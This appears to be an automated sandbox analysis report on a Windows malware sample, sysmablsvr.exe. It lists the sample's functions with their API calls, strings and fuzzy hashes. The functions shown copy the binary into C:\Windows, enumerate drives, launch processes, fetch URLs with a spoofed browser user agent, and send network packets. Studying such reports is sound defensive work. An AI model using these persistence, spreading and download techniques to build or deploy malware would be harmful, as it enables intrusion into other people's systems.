API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction ID: 140c23de002baebc09e84a4b6840f2c6f62578de50faf7348504d1cb8e8204ab
Opcode Fuzzy Hash: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction Fuzzy Hash: 80710C75A00608EFDF14DFA4D988BAFB7B4EB48300F10856AE506B7290D7799A40CF69

Function 00406B50 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysmablsvr.exe,00000104), ref: 00406B70

Part of subcall function 0040ED00: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040ED20
Part of subcall function 0040ED00: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ED35
Part of subcall function 0040ED00: CloseHandle.KERNEL32(000000FF), ref: 0040ED42

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

%s%s, xrefs: 00406C89
(%dGB), xrefs: 00406C46
C:\Windows\sysmablsvr.exe, xrefs: 00406B69, 00406B76
Unnamed volume, xrefs: 00406C66

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$C:\Windows\sysmablsvr.exe$Unnamed volume
API String ID: 1650488544-3576103414
Opcode ID: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction ID: 6971fabc066a78c2b5f4f93c2536245faf55c75ef939042e540841f18162a7fc
Opcode Fuzzy Hash: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction Fuzzy Hash: 1D419BB1900214BBE714DB94DD55FEE7778BB48700F1081A5F20AB61D0DA785794CF6A

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

%x%X, xrefs: 0040587A
0, xrefs: 00405840

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: 26b7d68298067a6ce37e9ddfddb25a36523320ae21639d5819629e884720d218
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: 47212C71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040ED50 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ED82
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040EDA3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040EDC2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EDDB
memcmp.NTDLL ref: 0040EE6D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EE90
CloseHandle.KERNEL32(00000000), ref: 0040EE9A
CloseHandle.KERNEL32(000000FF), ref: 0040EEA4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EEC3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EEE8
CloseHandle.KERNEL32(000000FF), ref: 0040EEF2

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: bbc640bda5f038b51350de564496a7af1b726e9883d6f91e6a3899aa04c8a2da
Instruction ID: 4e6ec57638d856f2454fe90bbc3b1fbf5740e030230db4960ae301055fb20e21
Opcode Fuzzy Hash: bbc640bda5f038b51350de564496a7af1b726e9883d6f91e6a3899aa04c8a2da
Instruction Fuzzy Hash: 34515FB4E40208FBDB14DFA4CC49BDFB774AB48704F108569E615B72C0D7B9AA45CB98

Function 0040D860 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0040D866
GetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,00520638,000000FF), ref: 0040D86D
GetCurrentThread.KERNEL32 ref: 0040D878
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,00520638,000000FF), ref: 0040D87F
InterlockedExchangeAdd.KERNEL32(0040805F,00000000), ref: 0040D8A2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D8D7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D922
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D93E
Sleep.KERNEL32(00000001), ref: 0040D96E
GetCurrentThread.KERNEL32 ref: 0040D97D
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F), ref: 0040D984

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: d6bd3df3806ede59070add2f0d7a1f8bc277f5a62d9d5dceae4a540d753efef8
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 80413CB4E00209EBDB14DFE4D848BAEBB75EF44305F10C16AE911A7390D7789A85CF59

Function 0040B850 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00417F40,?,?,?,?,?,?,00407FE3), ref: 0040B85B
CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B8AD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B8CE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B8ED
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B902
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B968
CloseHandle.KERNEL32(00000000), ref: 0040B972
CloseHandle.KERNEL32(000000FF), ref: 0040B97C

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B8A8

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbtnds.dat
API String ID: 439099756-3213863656
Opcode ID: 6e33ce8be33ea1410cfce0e5ca66737ed1c773acc2abebe2ac83ecac092f2b8c
Instruction ID: 20bf7a335d7b83d19979346108b4db2f5a5138f5ba8950715db26485b9768e75
Opcode Fuzzy Hash: 6e33ce8be33ea1410cfce0e5ca66737ed1c773acc2abebe2ac83ecac092f2b8c
Instruction Fuzzy Hash: 84413AB4E40308ABDB10DFA4CC4AFAEB774EB04704F208569E611BA2D1C7B96641CB9D

Function 00405B60 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(004174D8,?,?,?,?,?,00407FAD), ref: 00405B6B
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407FAD), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Strings

C:\Users\user\tbtcmds.dat, xrefs: 00405B80

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbtcmds.dat
API String ID: 3956458805-1042172597
Opcode ID: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction ID: 3caee3762cbdbcce4f49fb41099d7db393733e6e5b5fc44a0020794708857aa0
Opcode Fuzzy Hash: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction Fuzzy Hash: 51313D74A40308EBEB10DBA4CC4ABAFB774EB44704F208569E601772D0D7B96A81CF99

Function 0040EF10 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF1E
memset.NTDLL ref: 0040EF2E
CreateProcessW.KERNEL32(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EF67
Sleep.KERNEL32(000003E8), ref: 0040EF77
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EF92
Sleep.KERNEL32(000003E8), ref: 0040EFAC

Strings

open, xrefs: 0040EF8B
D, xrefs: 0040EF36
, xrefs: 0040EFA1

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction ID: 2af3465f2ac7e3bdaf7f942b51208d096d5e25dcc258d3f6adac25a8060dddc3
Opcode Fuzzy Hash: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction Fuzzy Hash: 6F114F71A84308BBEB10DB90DD46FDE7778AB14B00F204125FA09BE2C1D7F56A44C75A

Function 0040DE20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Sleep.KERNEL32(000003E8), ref: 0040DE7E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

HTTP/1.1 200 OK, xrefs: 0040DE8F
LOCATION: , xrefs: 0040DEA5

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction ID: cf4c7c589cb5a2b5626e628c2cbe2bc4730fcdb76fc9a6090f7a4287b0899cde
Opcode Fuzzy Hash: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction Fuzzy Hash: C92142B0944218ABDB20CB64DC49BE97774AB14308F1085E9E7197B2C0D7B99ACACF5C

Function 0040EFC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EFD7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EFF6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F01F
InternetCloseHandle.WININET(00000000), ref: 0040F048
InternetCloseHandle.WININET(00000000), ref: 0040F052
Sleep.KERNEL32(000003E8), ref: 0040F05D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EFD2

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction ID: b5bc459e60af10a5ecd3bce89b92fe6334010ad2bd78cd38f87cd536e4e3c5ce
Opcode Fuzzy Hash: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction Fuzzy Hash: 6821FC74A40208FBDB20DF94CC49FDEB775AB44705F1085A5FA11AB2C1C7B96A44CB59

Function 0040B110 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B1A8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B1C9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B1D3
CloseHandle.KERNEL32(000000FF), ref: 0040B1DD
InterlockedExchange.KERNEL32(00416900,0000003D), ref: 0040B1EA

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B1A3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbtnds.dat
API String ID: 442028454-3213863656
Opcode ID: 28d45dda015037e92cc0aa9728b693d27f468723c49624775dc4f20b05194a44
Instruction ID: c603907199676edbd5c7d0fa982afae34b74f891853afe3642d2180ffa8dca70
Opcode Fuzzy Hash: 28d45dda015037e92cc0aa9728b693d27f468723c49624775dc4f20b05194a44
Instruction Fuzzy Hash: 8D313EB4A40209EBCB14DF94EC85FAEB7B4FB48300F20C569E515673D0D774AA41DB99

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 2a5e0a3edf9c78aeac98a41108ab1fe6791137a0a25f1b9013466a3a7acc76ac
Instruction ID: 945b1e68ff25bd35ce4625b60af53a64f9c21a9b46b3aa14aa85a39d9b5f9782
Opcode Fuzzy Hash: 2a5e0a3edf9c78aeac98a41108ab1fe6791137a0a25f1b9013466a3a7acc76ac
Instruction Fuzzy Hash: 5D310DB4C00218EFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF59

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

NoDrives, xrefs: 004063B8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D6F0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714

Part of subcall function 0040D7E0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D820
Part of subcall function 0040D7E0: CloseHandle.KERNEL32(?), ref: 0040D839

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction ID: 832ae4800ebcb00f90e7428fbbdd4da527039cf188cbed956f615c5464689476
Opcode Fuzzy Hash: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction Fuzzy Hash: 2C31F874A00208EFDB04DF94D889F9EBBB5FB49304F0085A9E905A7390D775AA95CF54

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 6fa5c5ff501d056adbb62469864e836e9e141a6fe1f3d9c4b2298fbd3bb4f107
Instruction ID: 395797021da18ac5dc0c4ab187d218299f1ec32cbdde21a351b7e81b9c40248d
Opcode Fuzzy Hash: 6fa5c5ff501d056adbb62469864e836e9e141a6fe1f3d9c4b2298fbd3bb4f107
Instruction Fuzzy Hash: E83180762083009BC710DF69D884A9BBBF4AFC9714F04456EFD9897381D634D91587AB

